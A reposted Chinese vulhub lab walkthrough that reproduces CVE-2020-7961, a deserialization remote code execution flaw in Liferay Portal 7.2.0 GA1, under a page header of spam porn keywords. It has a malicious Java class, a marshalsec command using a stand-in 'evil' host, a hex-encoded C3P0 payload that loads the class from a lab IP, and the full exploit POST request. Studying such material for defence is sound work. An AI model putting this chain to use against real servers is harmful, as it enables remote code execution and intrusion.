日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

vulhub漏洞复现37_Liferay

發布時間:2023/12/8 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 vulhub漏洞复现37_Liferay 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

CVE-2020-7961_Liferay Portal CE 反序列化命令執行漏洞

漏洞詳情

Liferay Portal CE是一款用來快速構建網站的開源系統。其7.2.0 GA1及以前的版本API接口中存在一處反序列化漏洞,利用該漏洞可在目標服務器上執行任意命令。

漏洞環境

靶場:192.168.4.10_ubuntu

執行如下命令啟動Liferay Portal 7.2.0 GA1:

#docker-compose up -d

啟動成功后,訪問`http://your-ip:8080`即可查看到默認首頁。如果環境一直沒有成功啟動,可能是內存不足,請使用至少2G內存的服務器運行這個環境。

漏洞復現

首先準備一個惡意的Java類,編譯:

```java

// javac LifExp.java

public class LifExp {

static {

????try {

????????????String[] cmd = {"bash", "-c", "touch /tmp/success"};

????????????java.lang.Runtime.getRuntime().exec(cmd).waitFor();

????????} catch ( Exception e ) {

????????????e.printStackTrace();

????????}

????}

}

```

在保存著class文件的目錄下運行一個HTTP文件服務:

```

$ ls

LifExp.class ?LifExp.java

$ python3 -m http.server

```

?

因為目標Java版本較高,我們使用利用鏈是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助[marshalsec](https://github.com/mbechler/marshalsec)來生成一個適用于Jackson的POC:

```

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ ?LifExp

```

其中,`http://evil/`是剛才啟動的保存了惡意class文件的Web服務,LifExp是惡意類名。

?生成的Payload是Jackson使用的,我們只需按照Liferay Portal的形式,即`+參數名:類名=值`,來修改這個Payload:

```

+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f3139322e3136382e342e32393a393939392f740003466f6f;"}

```

將上述Payload合并到HTTP請求中發送:

```

POST /api/jsonws/invoke HTTP/1.1

Host: your-ip:8080

Content-Length: 1346

Content-Type: application/x-www-form-urlencoded

Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f3139322e3136382e342e32393a393939392f740003466f6f;"}```

?

進入容器中查看,發現已經成功執行`touch /tmp/success`:

?

總結

以上是生活随笔為你收集整理的vulhub漏洞复现37_Liferay的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。